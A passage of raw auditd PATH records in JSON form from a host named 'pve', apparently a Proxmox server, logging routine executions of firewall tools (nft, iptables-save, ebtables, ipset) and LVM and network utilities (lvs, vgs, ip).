msg=audit(1781964485.685:61211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485685,"@rawstring":"node=pve type=PATH msg=audit(1781964485.685:61211): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484727,"@rawstring":"node=pve type=PATH msg=audit(1781964484.727:61210): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484727,"@rawstring":"node=pve type=PATH msg=audit(1781964484.727:61210): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484700,"@rawstring":"node=pve type=PATH msg=audit(1781964484.700:61209): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484700,"@rawstring":"node=pve type=PATH msg=audit(1781964484.700:61209): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484547,"@rawstring":"node=pve type=PATH msg=audit(1781964484.547:61208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484547,"@rawstring":"node=pve type=PATH msg=audit(1781964484.547:61208): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484547,"@rawstring":"node=pve type=PATH msg=audit(1781964484.547:61207): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484547,"@rawstring":"node=pve type=PATH msg=audit(1781964484.547:61206): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484540,"@rawstring":"node=pve type=PATH msg=audit(1781964484.540:61205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484540,"@rawstring":"node=pve type=PATH msg=audit(1781964484.540:61205): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484540,"@rawstring":"node=pve type=PATH msg=audit(1781964484.540:61204): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964484540,"@rawstring":"node=pve type=PATH msg=audit(1781964484.540:61203): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479529,"@rawstring":"node=pve type=PATH msg=audit(1781964479.529:61202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479529,"@rawstring":"node=pve type=PATH msg=audit(1781964479.529:61202): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479529,"@rawstring":"node=pve type=PATH msg=audit(1781964479.529:61201): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479528,"@rawstring":"node=pve type=PATH msg=audit(1781964479.528:61200): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479523,"@rawstring":"node=pve type=PATH msg=audit(1781964479.523:61199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479523,"@rawstring":"node=pve type=PATH msg=audit(1781964479.523:61199): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479523,"@rawstring":"node=pve type=PATH msg=audit(1781964479.523:61198): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964479523,"@rawstring":"node=pve type=PATH msg=audit(1781964479.523:61197): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475675,"@rawstring":"node=pve type=PATH msg=audit(1781964475.675:61196): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475675,"@rawstring":"node=pve type=PATH msg=audit(1781964475.675:61196): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475671,"@rawstring":"node=pve type=PATH msg=audit(1781964475.671:61195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475671,"@rawstring":"node=pve type=PATH msg=audit(1781964475.671:61195): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475670,"@rawstring":"node=pve type=PATH msg=audit(1781964475.670:61194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475670,"@rawstring":"node=pve type=PATH msg=audit(1781964475.670:61194): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475670,"@rawstring":"node=pve type=PATH msg=audit(1781964475.670:61193): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475666,"@rawstring":"node=pve type=PATH msg=audit(1781964475.666:61192): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475666,"@rawstring":"node=pve type=PATH msg=audit(1781964475.666:61192): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475666,"@rawstring":"node=pve type=PATH msg=audit(1781964475.666:61192): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475660,"@rawstring":"node=pve type=PATH msg=audit(1781964475.660:61191): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475660,"@rawstring":"node=pve type=PATH msg=audit(1781964475.660:61191): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475654,"@rawstring":"node=pve type=PATH msg=audit(1781964475.654:61190): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475654,"@rawstring":"node=pve type=PATH msg=audit(1781964475.654:61190): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475647,"@rawstring":"node=pve type=PATH msg=audit(1781964475.647:61189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475647,"@rawstring":"node=pve type=PATH msg=audit(1781964475.647:61189): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475640,"@rawstring":"node=pve type=PATH msg=audit(1781964475.640:61188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475640,"@rawstring":"node=pve type=PATH msg=audit(1781964475.640:61188): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475635,"@rawstring":"node=pve type=PATH msg=audit(1781964475.635:61186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475635,"@rawstring":"node=pve type=PATH msg=audit(1781964475.635:61186): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475630,"@rawstring":"node=pve type=PATH msg=audit(1781964475.630:61185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475630,"@rawstring":"node=pve type=PATH msg=audit(1781964475.630:61185): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475625,"@rawstring":"node=pve type=PATH msg=audit(1781964475.625:61184): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475625,"@rawstring":"node=pve type=PATH msg=audit(1781964475.625:61184): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475618,"@rawstring":"node=pve type=PATH msg=audit(1781964475.618:61183): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475618,"@rawstring":"node=pve type=PATH msg=audit(1781964475.618:61183): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475613,"@rawstring":"node=pve type=PATH msg=audit(1781964475.613:61182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475613,"@rawstring":"node=pve type=PATH msg=audit(1781964475.613:61182): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475608,"@rawstring":"node=pve type=PATH msg=audit(1781964475.608:61181): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475608,"@rawstring":"node=pve type=PATH msg=audit(1781964475.608:61181): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475600,"@rawstring":"node=pve type=PATH msg=audit(1781964475.600:61180): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475600,"@rawstring":"node=pve type=PATH msg=audit(1781964475.600:61180): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475592,"@rawstring":"node=pve type=PATH msg=audit(1781964475.592:61179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475592,"@rawstring":"node=pve type=PATH msg=audit(1781964475.592:61179): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475589,"@rawstring":"node=pve type=PATH msg=audit(1781964475.589:61178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475589,"@rawstring":"node=pve type=PATH msg=audit(1781964475.589:61178): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475586,"@rawstring":"node=pve type=PATH msg=audit(1781964475.586:61177): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475586,"@rawstring":"node=pve type=PATH msg=audit(1781964475.586:61177): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475585,"@rawstring":"node=pve type=PATH msg=audit(1781964475.585:61176): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475585,"@rawstring":"node=pve type=PATH msg=audit(1781964475.585:61176): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475585,"@rawstring":"node=pve type=PATH msg=audit(1781964475.585:61175): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475581,"@rawstring":"node=pve type=PATH msg=audit(1781964475.581:61174): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475581,"@rawstring":"node=pve type=PATH msg=audit(1781964475.581:61174): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475581,"@rawstring":"node=pve type=PATH msg=audit(1781964475.581:61174): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475574,"@rawstring":"node=pve type=PATH msg=audit(1781964475.574:61173): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475574,"@rawstring":"node=pve type=PATH msg=audit(1781964475.574:61173): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475567,"@rawstring":"node=pve type=PATH msg=audit(1781964475.567:61172): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475567,"@rawstring":"node=pve type=PATH msg=audit(1781964475.567:61172): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475562,"@rawstring":"node=pve type=PATH msg=audit(1781964475.562:61171): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475562,"@rawstring":"node=pve type=PATH msg=audit(1781964475.562:61171): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475556,"@rawstring":"node=pve type=PATH msg=audit(1781964475.556:61170): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475556,"@rawstring":"node=pve type=PATH msg=audit(1781964475.556:61170): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475548,"@rawstring":"node=pve type=PATH msg=audit(1781964475.548:61169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964475548,"@rawstring":"node=pve type=PATH msg=audit(1781964475.548:61169): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474612,"@rawstring":"node=pve type=PATH msg=audit(1781964474.612:61168): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474612,"@rawstring":"node=pve type=PATH msg=audit(1781964474.612:61168): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474583,"@rawstring":"node=pve type=PATH msg=audit(1781964474.583:61167): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474583,"@rawstring":"node=pve type=PATH msg=audit(1781964474.583:61167): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474512,"@rawstring":"node=pve type=PATH msg=audit(1781964474.512:61166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474512,"@rawstring":"node=pve type=PATH msg=audit(1781964474.512:61166): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474512,"@rawstring":"node=pve type=PATH msg=audit(1781964474.512:61165): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474511,"@rawstring":"node=pve type=PATH msg=audit(1781964474.511:61164): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474502,"@rawstring":"node=pve type=PATH msg=audit(1781964474.502:61163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474502,"@rawstring":"node=pve type=PATH msg=audit(1781964474.502:61163): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474502,"@rawstring":"node=pve type=PATH msg=audit(1781964474.502:61162): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964474501,"@rawstring":"node=pve type=PATH msg=audit(1781964474.501:61161): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469483,"@rawstring":"node=pve type=PATH msg=audit(1781964469.483:61160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469483,"@rawstring":"node=pve type=PATH msg=audit(1781964469.483:61160): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469483,"@rawstring":"node=pve type=PATH msg=audit(1781964469.483:61159): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469483,"@rawstring":"node=pve type=PATH msg=audit(1781964469.483:61158): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469469,"@rawstring":"node=pve type=PATH msg=audit(1781964469.469:61157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469469,"@rawstring":"node=pve type=PATH msg=audit(1781964469.469:61157): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469469,"@rawstring":"node=pve type=PATH msg=audit(1781964469.469:61156): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964469469,"@rawstring":"node=pve type=PATH msg=audit(1781964469.469:61155): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465539,"@rawstring":"node=pve type=PATH msg=audit(1781964465.539:61154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 